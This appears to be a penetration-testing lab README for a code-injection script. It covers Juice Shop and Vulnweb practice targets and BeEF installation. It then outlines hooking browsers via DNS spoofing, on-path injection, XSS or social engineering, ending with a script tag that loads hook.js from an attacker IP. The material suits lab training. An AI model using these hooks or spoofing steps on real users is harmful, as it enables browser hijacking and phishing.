CODE INJECTOR

HTTP only.

This script works fully with: http://testasp.vulnweb.com/

It does work in other sites if you insert the code in an earlier tag.

eg, tag but may also break page load

http://www.pentest-standard.org/
Works now against functioning: http://juice-shop.herokuapp.com/#/
But breaks the site stopping page load.

Testing Online

We are testing HTTP online against OWASP Juice Shop, and/or Vulnweb.
Both of these site have been designed and hosted as hackable sites.
Fully legal.
http://juice-shop.herokuapp.com/#/
http://testasp.vulnweb.com/

Testing Locally

Separate script code_inj_https.py to deal with localhost testing...

Against OWASP Juice Shop: http://127.0.0.1:42000/#/

Brief install guide, Juice Shop from the terminal in Kali Linux.

There is misinformation about how to do this.
eg, install Docker, install node, install npm, download from github.
Here is the painfree Linux version:

1. From anywhere on your terminal command line
   sudo apt install juice-shop
2. When install is complete
3. sudo juice-shop start
4. Navigate to: http://127.0.0.1:42000/#/
5. Take a moment to recognize that Linux ROX!

Process

1. Set IP Table rules using set_iptables.py
   You can figure how to do this, or just set the tables manually.
2. Afterwards, flush the iptables, and check the tables have been flushed.
   sudo iptables -L
3. No port forwarding required.

Client Side Attacks.

Beef Framework.

Browser Exploitation Framework allowing us to launch a number of attacks on a hooked target.
Targets are hooked once they load a hook url.

1. DNS spoof requests to a page containing the hook
2. Inject the hook in browsed pages (need to be onPath)
3. Use XSS Exploit
4. Social engineer the target to open a hook page.

Install BeEF

1. sudo apt update
2. sudp apt upgrade
3. sudo apt-get install beef-xss
4. In apps, navigate to Beef Start BeEF-xss, and click to start
5. You will be prompted for a UN and a PW
6. Navigate to http://127.0.0.1:3000/ui/panel

Phishing for BeEF

DNS Spoof, Code Inject or Social Engineer to get JS hook in page

First Example, for Kali Linux only

1. Go to /var/www/html/ to open index.html
2. Make a backup of index.html, deleted all, insert the hook:
   

   This HTML file contains the BeEF Hook

   Get your ip ifconfig
   <script src="http://:3000/hook.js"></script>
   <script src="http://192.168.63.139:3000/hook.js"></script>
   That's the only code you need for this example.
3. Start your websever: $ service apache2 start